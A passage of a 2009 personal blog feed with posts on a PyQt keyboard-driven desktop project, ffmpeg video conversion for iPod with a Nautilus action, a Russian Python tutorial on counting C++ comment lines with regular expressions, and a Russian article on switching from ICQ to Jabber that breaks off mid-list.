  In my free time I have started working on the new &lt;a href="http://www.gnu.org/copyleft/gpl.html"&gt;GPL&lt;/a&gt; project named "Geek Desktop Solution" (GDS). The project is a desktop (like &lt;a href="http://www.kde.org/"&gt;KDE&lt;/a&gt; or &lt;a href="http://www.gnome.org/"&gt;GNOME&lt;/a&gt;) aimed for keyboard jedi and other technical geeks. It was inspired by SciFi movies especially &lt;a href="http://stargate.mgm.com/atlantis/"&gt;"Stargate Atlantis"&lt;/a&gt;. Rodney McKay, Chief Scientific Officer of the Atlantis Expedition, created his programs (or macros as it was called in the movie) interactively and very fast. I thought how it can be done and found a solution that makes this interactive and fast programming possible.
&lt;/p&gt;

&lt;p&gt;
The main concepts of GDS are:
&lt;ul&gt;
  &lt;li&gt;All environment items can be programmatically modified by user.&lt;/li&gt;
  &lt;li&gt;The interactive shell is an entry point of the desktop - all operations can be performed using the shell.&lt;/li&gt;
  &lt;li&gt;There is no mouse requirements - the user can operate the desktop using shell or keyboard shortcuts only.&lt;/li&gt;
  &lt;li&gt;But at the same time almost all operations can be performed with the mouse (for touchscreen-based devices without keyboards).&lt;/li&gt;
  &lt;li&gt;The desktop consists of widgets (like terminal, image viewer, web browser etc).&lt;/li&gt;
  &lt;li&gt;A widget can be in usual or fullscreen mode (for example, it is useful for web browsing).&lt;/li&gt;
  &lt;li&gt;Widgets can be grouped in activities (like multiply desktops in &lt;a href="http://www.x.org/"&gt;X.Org&lt;/a&gt;-environment).&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;

&lt;p&gt;
  Please notice that such kind of desktops is already created - &lt;a href="http://www.smalltalk.org/"&gt;Smalltalk&lt;/a&gt; have all required features. But for me Smalltalk syntax is awful and the GUI of all modern Smalltalk IDE is really ugly. So I decided to use Python as the main language for the GDS because it is widespread, simple and at the same time powerful. As a GUI framework I have chosen &lt;a href="http://www.qtsoftware.com/products/"&gt;Qt&lt;/a&gt; because of its matureness, smoothness and flexibility. Moreover starting from &lt;a href="http://www.qtsoftware.com/products/whats-new-in-qt"&gt;4.5&lt;/a&gt; version Qt became LGPL-compatible so it can be easily used in commercial applications, though it is not important for the GDS project. But the experience I'm getting from this project can be useful for other non-GPL projects.
&lt;/p&gt;

&lt;p&gt;
  From technical point of view using Python + Qt is very impressive. PyQt4 binding gives all the power of Qt classes to the application. For example, I found a very useful class in Qt4.5 - &lt;a href="http://doc.trolltech.com/4.5/qstackedlayout.html"&gt;QStackedLayout&lt;/a&gt; that makes the programming of GDS much easier (stacked layouts are required for activities and widgets fullscreen mode). &lt;a href="http://doc.trolltech.com/4.5/qtest.html"&gt;QTest&lt;/a&gt; namespace methods make testing easier, and now I have a 100% code coverage and do not plan to decrease this number. &lt;a href="http://techbase.kde.org/Projects/Oxygen/ColorSchemes"&gt;KDE4 Oxygen style&lt;/a&gt; gives amazing appearance to Qt application and I do not have to worry about GUI of the GDS right now. Of course, I do not want to depend on KDE4 and will create my own styles but it is not so critical for this stage of the project. Actually I'm not planning to release the project to the community until I fix the styles, because not all users have KDE4 installed especially with the black color theme (the current version appearance of the project is based on Zion Reversed scheme - black color theme).
&lt;/p&gt;

&lt;p&gt;
Let me give a little note about Qt testing. Although QTest namespace provides methods for mouse clicking and keyboard typing, the application is not working in the test environment as it should. For example, clicking on widget does not set focus on it. So please be aware of testing focusing functionality or make your application business-logic independent from it. And do not forget about event processing - signal/slot mechanism uses events and will not work if you do not use qWait method or until you make tests asynchronized.
&lt;/p&gt;

&lt;p&gt;This is how it looks now - see a screenshot below. And of course, if you want to see the sources, let me know and I'll publish it. Keep in touch!&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SfaIZ90_PsI/AAAAAAAAAGs/zGgf6JEO-ns/s1600-h/gds01.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 256px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SfaIZ90_PsI/AAAAAAAAAGs/zGgf6JEO-ns/s320/gds01.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5329597188714479298" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4975859524880387115?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4975859524880387115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/04/geek-desktop-solution-project.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4975859524880387115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4975859524880387115'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/04/geek-desktop-solution-project.html' title='Geek Desktop Solution project'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_b8spDATDZH0/SfaIZ90_PsI/AAAAAAAAAGs/zGgf6JEO-ns/s72-c/gds01.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-6682131013346267532</id><published>2009-03-02T20:18:00.011-08:00</published><updated>2009-03-03T00:31:58.432-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ffmpeg'/><category scheme='http://www.blogger.com/atom/ns#' term='mov'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ipod'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Easy converting video files to iPod movies</title><content type='html'>&lt;p&gt;Linux is a power :-) I made sure of this again when trying to find a legal way to convert various video files in Windows OS to QuickTime format acceptable by iPod. Actually I do not use Windows, but iTunes is working only on it and MacOSX, so I didn't have a choice. But googling gave nothing, so I turned on Linux and easily found an appropriate way.&lt;/p&gt;

&lt;p&gt;The main magic of video processing in Linux is collected in &lt;a href="http://www.ffmpeg.org/"&gt;FFmpeg&lt;/a&gt; solution. And it saved my life again. But before reading further please make sure that you will not violate any author rights and other license issues. Please examine the &lt;a href="http://www.ffmpeg.org/legal.html"&gt;legal&lt;/a&gt; information on FFmpeg site. In most cases all video files you converted must by used only by you and can not be transferred to other users.&lt;/p&gt;

&lt;p&gt;The process of converting is very simple - just run ffmpeg with required options (of course, ffmpeg package and all auxiliary packages should be installed):&lt;p&gt;
&lt;pre&gt;
$ ffmpeg -i /path/to/input_movie -f mov -sameq -s qvga /path/to/output_movie
&lt;/pre&gt;
&lt;p&gt;The main magic is in ffmpeg options:&lt;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;-f mov&lt;/i&gt; - convert to MOV format;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;-sameq&lt;/i&gt; - output file should have the same quality as original;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;-s qvga&lt;/i&gt; - resize to iPod resolution (320x240).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we embed converting command to GNOME context menu. KDE users can use similar technique and if you are interested in how to do it, let me know.&lt;/p&gt;
&lt;p&gt;First of all, nautilus-actions package should be installed:&lt;/p&gt;
&lt;pre&gt;
$ sudo yum install nautilus-actions
&lt;/pre&gt;
&lt;p&gt;Secondly we have to register required action. Go to menu &lt;b&gt;System-&gt;Preferences-&gt;Look and Feel-&gt;Nautilus Actions Configuration&lt;/b&gt; (or just run &lt;i&gt;nautilus-actions-config&lt;/i&gt; command):&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_b8spDATDZH0/Say2fL_-1JI/AAAAAAAAAFU/4DgtmaeHtMw/s1600-h/img01.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 174px; height: 200px;" src="http://1.bp.blogspot.com/_b8spDATDZH0/Say2fL_-1JI/AAAAAAAAAFU/4DgtmaeHtMw/s200/img01.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5308818707676320914" /&gt;&lt;/a&gt;

&lt;p&gt;Click "Add" button and set up a new action (or you can simply import config provided below):&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_b8spDATDZH0/Say3FpCZo_I/AAAAAAAAAFc/wi7aG5WjqkQ/s1600-h/img02.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 164px; height: 200px;" src="http://2.bp.blogspot.com/_b8spDATDZH0/Say3FpCZo_I/AAAAAAAAAFc/wi7aG5WjqkQ/s200/img02.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5308819368306123762" /&gt;&lt;/a&gt;

&lt;p&gt;Edit a command for the action - select "Main" profile and click "Edit":&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/Say3nPlpBeI/AAAAAAAAAFk/pxEAYRxcBGI/s1600-h/img03.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 174px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/Say3nPlpBeI/AAAAAAAAAFk/pxEAYRxcBGI/s200/img03.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5308819945590162914" /&gt;&lt;/a&gt;

&lt;p&gt;The &lt;b&gt;Path&lt;/b&gt; should contain &lt;i&gt;/usr/bin/ffmpeg&lt;/i&gt;. &lt;b&gt;Parameters&lt;/b&gt;: &lt;i&gt;-i %M -f mov -sameq -s qvga %M.ipod.mov&lt;/i&gt;.

&lt;p&gt;That's all. Now just restart GNOME session, and after that you can convert any files via context menu:&lt;p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_b8spDATDZH0/Say4Kpl5reI/AAAAAAAAAFs/VM0a_h6F_Qo/s1600-h/img04.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 162px;" src="http://2.bp.blogspot.com/_b8spDATDZH0/Say4Kpl5reI/AAAAAAAAAFs/VM0a_h6F_Qo/s200/img04.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5308820553865997794" /&gt;&lt;/a&gt;

&lt;p&gt;The action will not show any windows - you will just notice a new file, that will be ready in few seconds (if a preview of the output file is generated then it is ready to view):&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/Say4z-6F4eI/AAAAAAAAAF0/-sZYlkB4dWM/s1600-h/img05.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 161px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/Say4z-6F4eI/AAAAAAAAAF0/-sZYlkB4dWM/s200/img05.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5308821263962464738" /&gt;&lt;/a&gt;

&lt;p&gt;Happy converting!&lt;/p&gt;
&lt;p&gt;DOWNLOAD: &lt;a href="http://files.rsdn.ru/29838/config.tar.gz"&gt;config.tar.gz (2.05KB)&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-6682131013346267532?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/6682131013346267532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/03/easy-converting-video-files-to-ipod.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6682131013346267532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6682131013346267532'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/03/easy-converting-video-files-to-ipod.html' title='Easy converting video files to iPod movies'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_b8spDATDZH0/Say2fL_-1JI/AAAAAAAAAFU/4DgtmaeHtMw/s72-c/img01.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1641557852222358241</id><published>2009-02-18T19:57:00.006-08:00</published><updated>2009-02-19T06:21:24.616-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Магия Python в задаче вычисления количества строк комментариев в коде</title><content type='html'>&lt;p&gt;Python - один из немногих языков программирования, в котором лаконичность и простота гармонирует с мощью кода, который можно на нем написать. Хотя по сути Python является императивным языком, в нем есть функциональные элементы, упрощающие разработку и придающие коду больше выразительности. И чтобы не быть голословным, хочу это показать на примере простой задачи.&lt;/p&gt;
&lt;p&gt;Итак, есть следующая задача - подсчитать количество строк в C++ коде, в которых есть комментарии. Есть два метода решения этой задачи:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Разработка state-машины, которая анализирует текущее состояние кода (комментарий это или нет) и ведет подсчет числа строчек, в которых состояние кода было "комментарий".&lt;/li&gt;
&lt;li&gt;Использовать регулярные выражения и подсчитать количество строк кода, которые удовлятворяли условиям в регулярном выражении.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Мы рассмотрим второе решение, т.к. оно будет более лаконично и читабельно. Плюс к тому же это может быть неплохой задачкой для собеседования. Если разработчик сможет написать решение примерно в таком же стиле, как будет описано ниже (и если, конечно, он не читал этот блог), то его можно смело принимать на работу :-) &lt;/p&gt;
&lt;p&gt;Сначала приведу код, а потом мы его рассмотрим по шагам - от алгоритма до конкретных конструкций с необходимыми пояснениями:&lt;/p&gt;
&lt;pre&gt;
""" C++ code comments parser module. """
import re


class CppCodeCommentsParser:
    """ C++ code comments parser class. """

    def __init__(self, code):
        self._code = code + '\n'
        self._lines = set()

    @property
    def comment_lines_count(self):
        """ Returns count of lines with comments in 'self._code'."""
        match_to_set = lambda m: set(xrange(*m.span()))
        re_iter = lambda expr: re.finditer(expr, self._code)

        code = list(enumerate(match_to_set(m) for m in re_iter('.*\n')))
        for m in re_iter('//(.*\\\s*\n)+.*\n|//.*\n|/\*(\n|.)*?\*/'):
            self._lines |= set(s[0] for s in code if match_to_set(m) &amp; s[1])
        return len(self._lines)

&lt;/pre&gt;
&lt;p&gt;Алгоритм решения данной задачи можно расписать по следующим шагам:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Создаем массив множеств позиций символов в коде. Каждый элемент массива соответствует строчке кода.&lt;/li&gt;
&lt;li&gt;Проходимся регулярным выражением и находим все множества позиций символов в коде, которые являются комментариями.&lt;/li&gt;
&lt;li&gt;Считаем все строчки, которые имеют непустое пересечение с предыдущими множествами.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Это может звучать немного тяжеловато и заумно, но на самом деле все просто - мы просто считаем в каких строчках у нас появляются комментарии. Использование множеств для этого - достаточно логичное решение, т.к. если перейти от исходных сущностей (строчки кода и комментарии) к математической формализации (оперирировать позициями символов), то задача очень просто алгоритмизуется и программируется. Далее на примерах это будет рассмотрено более подробно.&lt;/p&gt;
&lt;p&gt;Итак, первый шаг - конструирование объекта. Предполагается, что класс используется для анализа комментариев в коде, и одной из его функций является подсчет количества строчек с комментариями. Хотя, конечно, окончательно класс выглядел бы иначе, мы, основываясь на принципах TDD, не создаем лишних сущностей без надобности. Поэтому в конструкторе мы делаем всего лишь две вещи:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;self._code = code + '\n'&lt;/i&gt; - Присваем члену класса нормализированную версию кода (под нормализацией подразумевается приведение кода к такому виду, когда последняя строчка в нем обязательно завершается символом перехода на новую строку).&lt;/li&gt;
&lt;li&gt;&lt;i&gt;self._lines = set()&lt;/i&gt; - Создаем пустое множество, которое потом заполним номерами строчек кода, в которых есть комментарии.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Теперь собственно, переходим к интересующему нас методу. Он оформлен в виде свойства, чтобы к нему можно было прозрачно обращаться (например, в будущем можно было бы кэшировать результат и не вычислять все заново - в таком случае семантика вызова не изменится, т.к. название свойства сохранило бы свой смысл).&lt;/p&gt;
&lt;p&gt;В начале метода объявляются две лямбды - они позволяют избежать дублирования кода и сократить размер модуля. &lt;strike&gt;Лямбда - это анонимная функция, и в ней не могут содержаться императивные команды типа присваивания. Ближайший аналог лямбды - классическая функция в математике.&lt;/strike&gt; Лямбда - это конструкция для создания анонимных функций, которые возвращают результат вычисления выражения, заданного в теле лямбды. Подробности см. в &lt;a href="http://docs.python.org/reference/expressions.html#id17"&gt;документации&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Первая лямбда &lt;i&gt;match_to_set&lt;/i&gt; преобразует результат соответствия регулярного выражения в множество позиций символов. Приведу пример ее работы:&lt;/p&gt;
&lt;pre&gt;
In [1]: m = type('', (object,), dict(span = lambda self: (1, 10)))()

In [2]: match_to_set = lambda m: set(xrange(*m.span()))

In [3]: match_to_set(m)
Out[3]: set([1, 2, 3, 4, 5, 6, 7, 8, 9])
&lt;/pre&gt;
&lt;p&gt;Т.е. у нас есть объект (в данном случае &lt;i&gt;m&lt;/i&gt;), у которого метод &lt;i&gt;span()&lt;/i&gt; возвращает пару чисел. Лямбда разворачивает эту пару в последовательность и объединяет в множество.&lt;/p&gt;
&lt;p&gt;Следующая лямбда &lt;i&gt;re_iter&lt;/i&gt; просто возвращает итератор соответствий регулярного выражения в &lt;i&gt;self._code&lt;/i&gt;. Например:&lt;p&gt;
&lt;pre&gt;
In [1]: import re

In [2]: code = '//first_line\n//second_line\nthird_line\n'

In [3]: re_iter = lambda expr: re.finditer(expr, code)

In [4]: [m.group() for m in re_iter('.*\n')]
Out[4]: ['//first_line\n', '//second_line\n', 'third_line\n']
&lt;/pre&gt;
&lt;p&gt;Теперь собственно код. Сначала мы создаем массив множеств позиций символов в коде. Далее все будем рассматривать на примере вышеприведенной строчки кода:&lt;/p&gt;
&lt;pre&gt;
In [1]: import re

In [2]: code = '//first_line\n//second_line\nthird_line\n'

In [3]: match_to_set = lambda m: set(xrange(*m.span()))

In [4]: re_iter = lambda expr: re.finditer(expr, code)

In [5]: list(enumerate(match_to_set(m) for m in re_iter('.*\n')))
Out[5]:
[(0, set([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])),
 (1, set([13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26])),
 (2, set([32, 33, 34, 35, 36, 37, 27, 28, 29, 30, 31]))]
&lt;/pre&gt;
&lt;p&gt;Как видите, мы получили массив из двухэлементных кортежей. В первом элементе кортежа хранится номер строчки (фактически, это номер соответствия регулярного выражения в исходной строке). Во втором элементе кортежа хранится собственно множество позиций символов.&lt;/p&gt;
&lt;p&gt;Далее мы вычисляем позиции символов с комментариями. Код практически такой же, только другое регулярное выражение и выходные данные:&lt;/p&gt;
&lt;pre&gt;
In [6]: [m.group() for m in re_iter('//(.*\\\s*\n)+.*\n|//.*\n|/\*(\n|.)*?\*/')]
Out[6]: ['//first_line\n', '//second_line\n']
&lt;/pre&gt;
&lt;p&gt;Ну и наконец, пересечение множеств. Здесь на самом деле одновременно выполняется много операций, поэтому просто распишу по порядку:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;i&gt;s[0] for s in code&lt;/i&gt; - Выбираем все номера строк из первых элементов кортежей &lt;i&gt;code&lt;/i&gt;.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;if match_to_set(m) &amp; s[1]&lt;/i&gt; - Дополняем выборку условием, что пересечение множеств соответствия регулярного выражения и символов в строке непустое.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;set(s[0] for s in code if match_to_set(m) &amp; s[1])&lt;/i&gt; - Объединяем все выбранные номера строк в множество.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;self._lines |= set(...)&lt;/i&gt; - Объединяем два множества.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;В результате всей этой магии и шаманства мы получаем искомый результат - количество строк кода с комментариями (&lt;i&gt;len(self._lines)&lt;/i&gt;).&lt;/p&gt;
&lt;p&gt;Если у вас возникнут вопросы, замечания или предложения - пишите. Удачного программирования!&lt;/p&gt;
&lt;p&gt;DOWNLOAD: &lt;a href="http://files.rsdn.ru/29838/parser.zip"&gt;parser.zip (1,37KB)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1641557852222358241?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1641557852222358241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/02/python.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1641557852222358241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1641557852222358241'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/02/python.html' title='Магия Python в задаче вычисления количества строк комментариев в коде'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-6658801455381022402</id><published>2009-01-21T20:57:00.036-08:00</published><updated>2009-01-23T06:07:29.648-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='icq'/><category scheme='http://www.blogger.com/atom/ns#' term='jabber'/><category scheme='http://www.blogger.com/atom/ns#' term='pidgin'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Переходим с ICQ на Jabber.</title><content type='html'>Ни для кого не секрет, что сервис ICQ принадлежит компании &lt;a href="http://www.aol.com/"&gt;AOL&lt;/a&gt;. Как и для любой коммерческой компании, для нее важна монетизация своих сервисов. Если сервис не приносит прибыль, то его либо модифицируют таким образом, чтобы он все-таки приносил прибыль, или закрывают.
&lt;br/&gt;&lt;br/&gt;


Основная прибыль от ICQ - это реклама, баннеры, которые показывают официальные клиенты. Однако, в России эти клиенты не приобрели популярность - баннеры либо режут с помощью &lt;a href="http://www.4ru.info/icq.htm"&gt;специальных плагинов&lt;/a&gt;, либо закрывают фаерволом, либо используют альтернативные клиенты, как, например, &lt;a href="http://www.4ru.info/icq.htm"&gt;QIP&lt;/a&gt; и &lt;a href="http://www.miranda-im.org/"&gt;Miranda&lt;/a&gt;. C другой стороны, именно российские пользователи составляют подавляющий процент от всех пользователей ICQ. AOL, конечно, это не особо нравится и она борется изо всех сил, чтобы все использовали официальные клиенты. Недавняя серия &lt;a href="http://habrahabr.ru/blogs/im/49778/"&gt;отключений&lt;/a&gt; - яркий тому пример. И не факт, что отключения не продолжатся (или вообще не прикроют весь сервис ICQ) - никто не может заставить AOL поддерживать неприбыльный сервис, особенно в наше время мирового финансового кризиса.
&lt;br/&gt;&lt;br/&gt;


Что же делать, особенно тем, для кого общение по ICQ составляет часть бизнес-процессов? Конечно, можно постоянно обновляться при очередном отключении, молиться, чтобы опять что-нибудь не сломалось, но зачем есть кактус и колоться, когда есть хорошие альтернативы?
&lt;br/&gt;&lt;br/&gt;


Одна из самых доступных и простых альтернатив - использование сервисов Jabber.
&lt;b&gt;&lt;/b&gt;&lt;blockquote&gt;&lt;b&gt;Jabber&lt;/b&gt; (&lt;span class="IPA"&gt;&lt;a href="http://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D0%B4%D1%83%D0%BD%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B9_%D1%84%D0%BE%D0%BD%D0%B5%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BB%D1%84%D0%B0%D0%B2%D0%B8%D1%82" title="Международный фонетический алфавит"&gt;/ˈʤæb.ə(r)/&lt;/a&gt;&lt;/span&gt;; &lt;i&gt;досл. &lt;a href="http://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4" title="Перевод"&gt;пер.&lt;/a&gt; с &lt;a href="http://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BB%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA" title="Английский язык"&gt;англ.&lt;/a&gt;&lt;/i&gt; — болтовня, трёп) — система для быстрого обмена сообщениями и информацией о присутствии (в контакт-листе) между любыми двумя пользователями &lt;a href="http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82" title="Интернет"&gt;Интернета&lt;/a&gt; на основе открытого протокола &lt;a href="http://ru.wikipedia.org/wiki/XMPP" title="XMPP"&gt;XMPP&lt;/a&gt;.&lt;/blockquote&gt;Ключевое отличие Jabber-а от ICQ - это открытость &lt;a href="http://tools.ietf.org/html/rfc3920"&gt;протокола&lt;/a&gt;. Т.е. этот протокол не завязан на коммерческую компанию, и никто не может его прикрыть в один прекрасный момент. Хотя, конечно, для общения все-равно потребуются Jabber-сервера, но их достаточно много, и у вас есть выбор, какие именно использовать. Никто не запрещает также пользоваться несколькими серверами одновременно. Более того, можно использовать несколько учетных записей на одном сервере в один и тот же момент времени без каких-либо ухищрений.

&lt;br/&gt;&lt;br/&gt;

О достоинствах Jabber-а можно говорить долго, поэтому перечислю только основные моменты:
&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;открытость&lt;/span&gt; (существует множество клиентов и серверов, и они не нарушают ничьих прав, причем, что очень удобно для программистов, которые могут использовать Jabber/XMMP для своих собственных нужд, например, для интеграции систем документооборота с Jabber-серверами);&lt;/li&gt;
&lt;li&gt;&lt;span style="font-weight: bold;"&gt;расширяемость&lt;/span&gt; (Jabber/XMMP-протокол можно расширить для получения нужной вам функциональности, например, это сделал &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; для поддержки видеоконференций в их клиенте &lt;a href="http://www.google.com/talk/intl/ru/"&gt;GTalk&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;&lt;span style="font-weight: bold;"&gt;децентрализованность&lt;/span&gt; (вы можете поднять внутри своей организации собственный Jabber-сервер, чтобы ваши сообщения не уходили в Интернет, и тем самым соблюдалась бы конфиденциальность; одним из примеров популярного Jabber-сервера является кросс-платформенный &lt;a href="http://www.blogger.com/www.igniterealtime.org/projects/openfire/index.jsp"&gt;OpenFire&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;&lt;span style="font-weight: bold;"&gt;безопасность&lt;/span&gt; (Jabber поддерживает &lt;a href="http://ru.wikipedia.org/wiki/SSL"&gt;SSL&lt;/a&gt; шифрование, плюс к тому же некоторые клиенты и сервера поддерживают &lt;a href="http://ru.wikipedia.org/wiki/PGP"&gt;PGP&lt;/a&gt;-шифрование, таким образом, даже если ваш трафик перехватят, то не узнают о его содержании);&lt;/li&gt;
&lt;li&gt;&lt;span style="font-weight: bold;"&gt;встроенная поддержка интернационализации&lt;/span&gt; (все сообщения, которые передаются через Jabber-протокол, используют кодировку &lt;a href="http://ru.wikipedia.org/wiki/Unicode"&gt;unicode&lt;/a&gt;, что автоматом снимает проблемы с русским языком);&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;система транспортов&lt;/span&gt; (Jabber поддерживает так называемые "транспорты" - шлюзы между различными IM-сетями, например, можно, не отключаясь от Jabber-сервера, контактировать с пользователями ICQ, MSN и т.п. Чат, встроенный в &lt;a href="http://gmail.com/"&gt;Gmail&lt;/a&gt; поддерживает транспорт для ICQ/AIM, что позволяет через Jabber общаться с пользователями ICQ).&lt;/li&gt;&lt;/ul&gt;
&lt;br/&gt;
Однако хватит теории, приступим к практике. Я приведу вариант работы с Jabber-сервером на примере Gmail - услуги электронной почты, предоставляемой компанией Google. Но, конечно, это не единственный вариант - Jabber поддерживается компанией &lt;a href="http://www.yandex.ru/"&gt;Yandex&lt;/a&gt; (&lt;a href="http://online.yandex.ru/"&gt;Я.Онлайн&lt;/a&gt;), многими другими бесплатными серверами, например, &lt;a href="http://www.jabber.ru/"&gt;jabber.ru&lt;/a&gt;.
&lt;br/&gt;&lt;br/&gt;


Сначала кратко опишу последовательность шагов:
&lt;ol&gt;&lt;li&gt;Надо зарегистрировать свой ящик на &lt;a href="http://gmail.com/"&gt;gmail.com&lt;/a&gt;.
